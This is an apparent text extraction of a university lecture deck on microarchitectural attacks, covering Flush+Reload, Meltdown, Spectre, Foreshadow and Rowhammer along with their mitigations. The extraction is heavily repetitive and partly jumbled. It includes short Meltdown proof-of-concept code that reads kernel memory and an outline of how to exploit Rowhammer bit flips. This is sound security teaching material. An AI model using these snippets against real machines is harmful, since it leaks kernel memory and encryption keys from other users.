Software-based Microarchitectural Attacks

Daniel Gruss
September 4, 2018
Graz University of Technology
1996
Microarchitectural Attacks

1996

2004

2006
Microarchitectural Attacks

1996

2004

2006

2009

Daniel Gruss — Graz University of Technology
Microarchitectural Attacks

1996
2004
2006
2009
2011
Microarchitectural Attacks

1996

2004

2006

2009

2011

2013
Microarchitectural Attacks

1996

2004

2006

2009

2011

2013

2014
Microarchitectural Attacks

- 1996
- 2004
- 2006
- 2009
- 2011
- 2013
- 2014

Daniel Gruss — Graz University of Technology
Microarchitectural Attacks

1996

2004

2006

2009

2011

2013

2014
Microarchitectural Attacks

1996
2004
2006
2009
2011

1996
2004
2006
2009
2011

2013
2014
2015

Daniel Gruss — Graz University of Technology
Microarchitectural Attacks

1996

2004

2006

2009

2011

1996

2004

2006

2009

2011

2013

2014

2015

Daniel Gruss — Graz University of Technology
Microarchitectural Attacks

2016
Microarchitectural Attacks

2016

2017
Microarchitectural Attacks

2016

2017

2018
**Revolutionary concept!**

Store your food at home, never go to the grocery store during cooking.

Can store **ALL** kinds of food.

**ONLY TODAY** INSTEAD OF $1,300

**$1,299**

ORDER VIA PHONE: +555 12345
printf("%d", i);
printf("%d", i);
```c
printf("%d", i);
printf("%d", i);
```

Cache miss

CPU Cache

Daniel Gruss — Graz University of Technology
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
Request
Response

Daniel Gruss — Graz University of Technology
CPU Cache

```c
printf("%d", i);
printf("%d", i);
```

Cache miss
Cache hit

Request
Response
CPU Cache

```c
printf("%d", i);
printf("%d", i);
```

DRAM access, slow

Cache miss

Cache hit

Request

Response

Daniel Gruss — Graz University of Technology
CPU Cache

printf("%d", i);
Cache miss
DRAM access,
slow
printf("%d", i);
Cache hit
No DRAM access,
much faster

printf("%d", i);
Request
Response

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

Shared Memory

cached

VICTIM

Shared Memory

flush

access

cached

cached

access

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

 flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

8

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

 Shared Memory

VICTIM

flush
access

Shared Memory
Flush+Reload

ATTACKER

\textit{flush}

\textit{access}

\begin{itemize}
  \item \textbf{Shared Memory}
\end{itemize}

\begin{itemize}
  \item \textbf{VICTIM}
\end{itemize}

\textit{access}
Flush+Reload

ATTACKER
flush
access

VICTIM
access

fast if victim accessed data, slow otherwise

Shared Memory
Memory Access Latency

Access time [CPU cycles]

Number of accesses

Cache Hits
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %dx%d = %d\n", width, height, area);
```c
int width = 10, height = 5;
float diagonal = sqrt(width * width + height * height);
int area = width * height;
printf("Area %d x %d = %d\n", width, height, area);
```
```c
char data = *(char*)0xffffffff81a000e0;
printf("%c\n", data);
```
char  data = *(char*)0xfffffffff81a000e0;
printf("%c\n", data);

segfault at ffffffff81a000e0 ip
0000000000400535
  sp 00007ffce4a80610 error 5 in reader
Adapted code

*(volatile char*)0;
array[84 * 4096] = 0; // unreachable
Building Meltdown

Flush+Reload over all pages of the array

Access time [cycles]
Combine the two things

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```
Flush+Reload again...

... Meltdown actually works.
I SHIT YOU NOT

THERE WAS KERNEL MEMORY ALL OVER THE TERMINAL
used with authorization from Silicon Graphics, Inc. However, the authors make no claim that Mesa is in any way a compatible replacement for OpenGL or associated with Silicon Graphics, Inc.

... This version of Mesa provides GLX and DRI capabilities: it is capable of both direct and indirect rendering. For direct rendering, it can use DRI modules from the libg
• Basic Meltdown code leads to a crash (segfault)
Basic Meltdown code leads to a crash (segfault)

How to prevent the crash?
- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?

Fault Handling
Fault Suppression
Fault Prevention
Intel TSX to suppress exceptions instead of signal handler

```c
if (xbegin() == XBEGIN_STARTED) {
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Speculative execution to prevent exceptions

```c
int speculate = rand() % 2;
size_t address = (0xffffffff81a000e0 * speculate) +
                 ((size_t)&zero * (1 - speculate));
if (!speculate) {
    char secret = *(char*) address;
    array[secret * 4096] = 0;
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Improve the performance with a NULL pointer dereference
• Improve the performance with a NULL pointer dereference

```c
if(xbegin() == XBEGIN_STARTED) {
    *(volatile char*) 0;
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}
```
SO YOU ARE TELLING ME

YOU CAN DUMP THE MEMORY STORED IN L1?
WHAT IF I TOLD YOU

YOU CAN LEAK THE ENTIRE MEMORY
• Assumed that one can only read data stored in the L1 with Meltdown
- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  - Target data is not in the L1 cache of the attacking core
- We can still leak the data at a lower reading rate
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
• We can still leak the data at a lower reading rate
• Meltdown might implicitly cache the data
I’LL JUST QUICKLY DUMP THE ENTIRE MEMORY VIA MELTDOWN
Practical attacks

- Dumping the entire physical memory takes some time
Practical attacks

Dumping the entire physical memory takes some time

- Not very practical in most scenarios
Practical attacks

- Dumping the entire physical memory takes some time
  - Not very practical in most scenarios
- Can we mount more targeted attacks?
- Open-source utility for disk encryption
- Open-source utility for disk encryption
- Fork of TrueCrypt
- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
  - With Meltdown, we can extract the keys from DRAM
attacker@meltdown ~/exploit %

victim@meltdown ~ %
• Kernel addresses in user space are a problem
• Kernel addresses in user space are a problem
• Why don’t we take the kernel addresses…
• ...and remove them if not needed?
...and remove them

- ...and remove them if not needed?
- User accessible check in hardware is not reliable
Kernel Address Isolation to have Side channels Efficiently Removed

Daniel Gruss — Graz University of Technology
Kernel Address Isolation to have Side channels Efficiently Removed

KAISER /ˈkʌɪzə/
1. [german] Emperor, ruler of an empire
2. largest penguin, emperor penguin
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

User memory

Not mapped

Kernel address space

SMAP + SMEP

Kernel memory

context switch

Interrupt
dispatcher
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

User memory

Not mapped

Kernel address space

SMAP + SMEP

context switch

Interrupt dispatcher

addr. space
KAISER (Stronger Kernel Isolation) Patches

Our patch

Adopted in Linux
Adopted in Windows
Adopted in OSX/iOS

now in every computer

Daniel Gruss — Graz University of Technology
• Our patch
• Adopted in Linux
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ now in every computer
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:

- disable EPTs
»A table for 6 please«
Speculative Cooking
A table for 6 please
index = 0;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 0;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 0;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        Speculate
        0
index = 0;
char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

Prediction

0
index = 1;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 1;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Prediction

0
index = 2;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 2;

char* data = "textKEY";

if (index < 4)
then
   LUT[data[index] * 4096]
else
   0

Daniel Gruss — Graz University of Technology
index = 2;

char* data = "textKEY";

if (index < 4)

Speculate

then

Prediction

LUT[data[index] * 4096]

else

0
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 3;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        0
index = 3;

char* data = "textKEY";

if (index < 4)
    then
        Prediction
    else
        LUT[data[index] * 4096]
        0

Daniel Gruss — Graz University of Technology
index = 3;

char* data = "textKEY";

if (index < 4)

Speculate

then

LUT[data[index] * 4096]

Prediction

else

0
index = 3;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 4;

char* data = "textKEY";

if (index < 4)

Speculate

then

LUT[data[index] * 4096]

else

Prediction

0
index = 4;

char* data = "textKEY";

if (index < 4)
    prediction
else
    Execute

LUT[data[index] * 4096]
index = 5;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 5;

char* data = "textKEY";

if (index < 4)
    Prediction
    LUT[data[index] * 4096]
    0
index = 5;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 5;

char* data = "textKEY";

if (index < 4)
{
    Prediction
    Execute
    
    LUT[data[index] * 4096]

    then

    else

    0
index = 6;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        0

Daniel Gruss — Graz University of Technology
index = 6;
char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
else
    0

Daniel Gruss — Graz University of Technology
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 6;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
“Speculative Buffer Overflows”

- Speculatively write to memory locations
- Many more gadgets than previously anticipated
- Very interesting for sandboxes
- Causes some protection mechanisms to fail
“Speculative Buffer Overflows”

- Speculatively write to memory locations which are not writable
- Actually a variant of Meltdown
  - A permission bit is ignored during out-of-order execution
  - But no scenario where it makes sense without speculative execution?
Animal* a = bird;

a->move();

fly()  swim()  swim()

Prediction

LUT[data[index] * 4096]  0
```cpp
Animal* a = bird;
```

```
LUT[data[index] * 4096]
```

Speculate

Prediction

fly()

swim()
```c
Animal* a = bird;
```

![Diagram](image)
Animal* a = bird;

a->move();
```c
Animal* a = bird;
a->move();
```

LUT[data[index] * 4096]
Animal* a = bird;

a->move();

Speculate
LUT[data[index] * 4096]
Animal* a = bird;
a->move();

fly()  
LUT[data[index] * 4096]  
Prediction  
0  
swim()
Animal* a = fish;

a->move();

fly()

fly()

LUT[data[index] * 4096]

0

swim()
Animal* a = fish;

a->move();
Animal* a = fish;

a->move()
```cpp
Animal* a = fish;
```
Animal* a = fish;

a->move()

fly()
swim()
swim()

LUT[data[index] * 4096]

Prediction

0
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
```
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

Prediction:

```
LUT[data[index] * 4096]
```

Consider:

```
LUT[data[index] * 4096]
```

Ignore:
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

Speculate

consider

Prediction

ignore

LUT[data[index] * 4096]
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

consider

Prediction

ignore

LUT[data[index] * 4096]
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 1;

index = index & 0x3;  // sanitization

char* data = "textKEY";
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Speculate

consider

Prediction

ignore

LUT[data[index] * 4096]

Daniel Gruss — Graz University of Technology
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

Prediction

consider

ignore

LUT[data[index] * 4096]

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

correct  
ignore

Speculate

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  

consider  

Prediction  

ignore  

LUT[data[index] * 4096]
Spectre (variant 4)

index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

consider

Prediction

ignore

index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  
LUT[data[index] * 4096]
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

![Diagram]

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

consider prediction

LUT[data[index] * 4096]

ignore prediction
Spectre (variant 4)

```c
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

LUT[data[index] * 4096]

Prediction

Speculate

LUT[data[index] * 4096]
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

LUT[data[index] * 4096]
```c
index = 5;

index = index & 0x3; // sanitation

char* data = "textKEY";
```

![Diagram](image)
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  
consider  
Prediction  
ignore  
LUT[data[index] * 4096]
index = 5;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
index = 6;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  
LUT[data[index] * 4096]
index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Speculation

Prediction
Spectre (variant 4)

index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Execute

index = 2

Prediction

ignore

LUT[data[index] * 4096]
• “SpectreRSB”
• Similar to Spectre variant 2:
  • Redirect an indirect branch (a return in this case)
  • Fill buffer with “wrong” values
• Trivial approach: disable speculative execution
• Trivial approach: disable speculative execution
• No wrong speculation if there is no speculation
- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
• Trivial approach: disable speculative execution
• No wrong speculation if there is no speculation
• Problem: massive performance hit!
• Also: How to disable it?
Trivial approach: disable speculative execution
No wrong speculation if there is no speculation
Problem: massive performance hit!
Also: How to disable it?
Speculative execution is deeply integrated into CPU
Workaround: insert instructions stopping speculation!

- after every bounds check

- x86: LFENCE
- ARM: CSDB

Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8.
• Workaround: insert instructions stopping speculation

x86: LFENCE, ARM: CSDB
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation
  → insert after every bounds check
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation
  - insert after every bounds check
- x86: LFENCE, ARM: CSDB
Workaround: insert instructions stopping speculation

- insert after every bounds check

- x86: LFENCE, ARM: CSDB

- Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8
Spectre Variant 1 Mitigations

Speculation barrier requires compiler supported

Already implemented in GCC, LLVM, and MSVC

Can be automated (MSVC)!

not really reliable

Explicit use by programmer:

```c
builtin
c
load
c
no
speculate
```
Speculation barrier requires compiler supported
• Speculation barrier requires compiler supported
• Already implemented in GCC, LLVM, and MSVC
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- Can be automated (MSVC) → not really reliable
Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- Can be automated (MSVC) → not really reliable
- Explicit use by programmer: `__builtin_load_no_speculate`
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):

```
0-1-0-1-0
1-0-1-0-1
0-1-0-1-0
1-0-1-0-1
```
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
    → lesser privileged code cannot influence predictions
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
    → lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
  - Isolates branch prediction state between two hyperthreads
Retpoline (compiler extension)

```assembly
push %ebp
ret
```

---

The code snippet above illustrates the use of a retpoline. The `ret` instruction is always predicted to enter an endless loop instead of the correct (or wrong) target function. To mitigate this, `ret` may fall back to the BTB for prediction, and microcode patches can be used to prevent this behavior.
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence          ; speculation barrier
    jmp 2b          ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
    ret            ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

• instead of the correct (or wrong) target function
Retpoline (compiler extension)

```
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
Retpoline (compiler extension)

```assembly
push  <call_target>
call 1f
jmp 2b  ; endless loop
lea 8(%rsp), %rsp ; restore stack pointer
ret   ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- `ret` may fall-back to the BTB for prediction
Retpoline (compiler extension)

```plaintext
    push  <call_target>
    call 1f
2:   lfence ; speculation barrier
     jmp 2b ; endless loop
1:   lea 8(%rsp), %rsp ; restore stack pointer
     ret ; the actual call to <
     call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?

- `ret` may fall-back to the BTB for prediction

→ microcode patches to prevent that
Intel released microcode updates
Intel released microcode updates

- Disable store-to-load-forward speculation
- Performance impact of 2–8%
• Already implicitly patched on some architectures
• RSB stuffing (part of retpoline)
What does not work

- Prevent access to high-resolution timer
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses

Daniel Gruss — Graz University of Technology
What does not work

- Prevent access to high-resolution timer
- Own timer using timing thread
- Flush instruction only privileged
- Cache eviction through memory accesses
- Just move secrets into secure world
What does not work

- Prevent access to high-resolution timer
- Own timer using timing thread
- Flush instruction only privileged
- Cache eviction through memory accesses
- Just move secrets into secure world
- Spectre works on secure enclaves
Meltdown vs. Spectre

Meltdown

Out-of-Order Execution has nothing to do with any prediction turning off speculative execution entirely has no effect on Meltdown!

melts down the isolation provided by the user-accessible 64-bit

in theory: OoO not required, pipelining can be sufficient mitigated by KAISER

Spectre

Speculative Execution (subset of Out-of-Order Execution) fundamentally builds on prediction mechanisms turning off speculative execution entirely would work has nothing to do with the user-accessible 64-bit

KAISER has no effect on Spectre at all

Daniel Gruss — Graz University of Technology
Meltdown vs. Spectre

Meltdown
- Out-of-Order Execution

Spectre
- Speculative Execution (subset of Out-of-Order Execution)
Meltdown vs. Spectre

**Meltdown**
- Out-of-Order Execution
- has nothing to do with any prediction

**Spectre**
- Speculative Execution (subset of Out-of-Order Execution)
- fundamentally builds on prediction mechanisms
Meltdown vs. Spectre

Meltdown

- Out-of-Order Execution
- has nothing to do with any prediction
- turning off speculative execution entirely has no effect on Meltdown

Spectre

- Speculative Execution (subset of Out-of-Order Execution)
- fundamentally builds on prediction mechanisms
- turning off speculative execution entirely would work
Meltdown vs. Spectre

Meltdown

- Out-of-Order Execution
- has nothing to do with any prediction
- turning off speculative execution entirely has no effect on Meltdown
→ melts down the isolation provided by the user accessible-bit

Spectre

- Speculative Execution (subset of Out-of-Order Execution)
- fundamentally builds on prediction mechanisms
- turning off speculative execution entirely would work
- has nothing to do with the user accessible-bit

Daniel Gruss — Graz University of Technology
Meltdown vs. Spectre

Meltdown

- Out-of-Order Execution
- has nothing to do with any prediction
- turning off speculative execution entirely has no effect on Meltdown
  → melts down the isolation provided by the user accessible-bit
- in theory: OoO not required, pipelining can be sufficient

Spectre

- Speculative Execution (subset of Out-of-Order Execution)
- fundamentally builds on prediction mechanisms
- turning off speculative execution entirely would work
- has nothing to do with the user accessible-bit
- KAISER has no effect on Spectre at all
Meltdown vs. Spectre

Meltdown

- Out-of-Order Execution
- has nothing to do with any prediction
- turning off speculative execution entirely has no effect on Meltdown
- melts down the isolation provided by the user accessible-bit
- in theory: OoO not required, pipelining can be sufficient
- mitigated by KAISER

Spectre

- Speculative Execution (subset of Out-of-Order Execution)
- fundamentally builds on prediction mechanisms
- turning off speculative execution entirely would work
- has nothing to do with the user accessible-bit
- KAISER has no effect on Spectre at all
Meltdown vs. Spectre

Meltdown performs illegal memory accesses and we need to take care of processor exceptions with TSX or branch misprediction.

Spectre performs only legal memory accesses and has nothing to do with exception handling or suppression.
Meltdown
- performs illegal memory accesses → we need to take care of processor exceptions

Spectre
- performs only legal memory accesses
Meltdown
- performs illegal memory accesses \(\rightarrow\)
  we need to take care of processor exceptions
  - exception handling

Spectre
- performs only legal memory accesses
  - has nothing to do with exception handling
Meltdown vs. Spectre

Meltdown

- performs illegal memory accesses → we need to take care of processor exceptions
  - exception handling
  - exception suppression with TSX

Spectre

- performs only legal memory accesses
  - has nothing to do with exception handling or suppression
**Meltdown vs. Spectre**

**Meltdown**
- performs illegal memory accesses → we need to take care of processor exceptions
  - exception handling
  - exception suppression with TSX
  - exception suppression with branch misprediction

**Spectre**
- performs only legal memory accesses
  - has nothing to do with exception handling or suppression
What if we want to modify data?
DRAM organization

channel 0

channel 1

back of DIMM: rank 1

front of DIMM: rank 0

chip

56

Daniel Gruss — Graz University of Technology
DRAM organization

channel 0

channel 1

back of DIMM: rank 1

front of DIMM: rank 0
DRAM organization

channel 0

back of DIMM: rank 1

front of DIMM: rank 0

channel 1

Daniel Gruss — Graz University of Technology
DRAM organization

channel 0

back of DIMM: rank 1

channel 1

front of DIMM: rank 0

chip

Daniel Gruss — Graz University of Technology
DRAM organization

chip

bank 0

row 0
row 1
row 2
...
row 32767

row buffer
DRAM organization

chip

bank 0

row 0
row 1
row 2
...
row 32767
row buffer

64k cells
1 capacitor, 1 transistor each
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer

- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer

- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer

- Cells leak → repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses → Rowhammer
There are two different hammering techniques:

1. Hammer one row next to victim row and other random rows
2. Hammer two rows neighboring victim row
3. Hammer only one row next to victim row
There are two different hammering techniques

#1: Hammer one row next to victim row and other random rows
• There are two different hammering techniques
• #1: Hammer one row next to victim row and other random rows
• #2: Hammer two rows neighboring victim row
• There are three different hammering techniques
• #1: Hammer one row next to victim row and other random rows
• #2: Hammer two rows neighboring victim row
• #3: Hammer only one row next to victim row
#1 - Single-sided hammering

![Diagram of DRAM bank activation](image-url)
#1 - Single-sided hammering

DRAM bank

activate

1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1

Daniel Gruss — Graz University of Technology
#1 - Single-sided hammering

![Diagram of DRAM bank with activate signal](image)

Daniel Gruss — Graz University of Technology
#1 - Single-sided hammering

![Diagram of DRAM bank with activate signal]
#1 - Single-sided hammering

![Diagram of a DRAM bank with bit flips]

Daniel Gruss — Graz University of Technology
#2 - Double-sided hammering

```
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
```

activate

DRAM bank
#2 - Double-sided hammering
#2 - Double-sided hammering

![Diagram of a DRAM bank with activate highlighted]
Double-sided hammering

DRAM bank

activate

bit flips
#3 - One-location hammering

![Diagram of DRAM bank with activation highlighted]
#3 - One-location hammering
#3 - One-location hammering

![Diagram of DRAM bank with activate signal highlighted]
#3 - One-location hammering

![DRAM bank diagram]
#3 - One-location hammering

DRAM bank

activate

1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1
#3 - One-location hammering

![Diagram of a DRAM bank with bit flips highlighted]
How to exploit random bit flips?

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for "good" ips
3. Place data structure there
4. Trigger bit "ip" again
How to exploit random bit flips?

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for "good" bit flips
3. Place data structure there
4. Trigger bit flip again
How to exploit random bit flips?

They are not random!

highly reproducible

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for "good" bits
3. Place data structure there
4. Trigger bit flip again
How to exploit random bit flips?

- They are not random $\rightarrow$ highly reproducible flip pattern!
They are not random $\rightarrow$ highly reproducible flip pattern!

1. Choose a data structure that you can place at arbitrary memory locations
How to exploit random bit flips?

- They are not random \(\rightarrow\) highly reproducible flip pattern!
  1. Choose a data structure that you can place at arbitrary memory locations
  2. Scan for “good” flips
How to exploit random bit flips?

- They are not random $\rightarrow$ highly reproducible flip pattern!
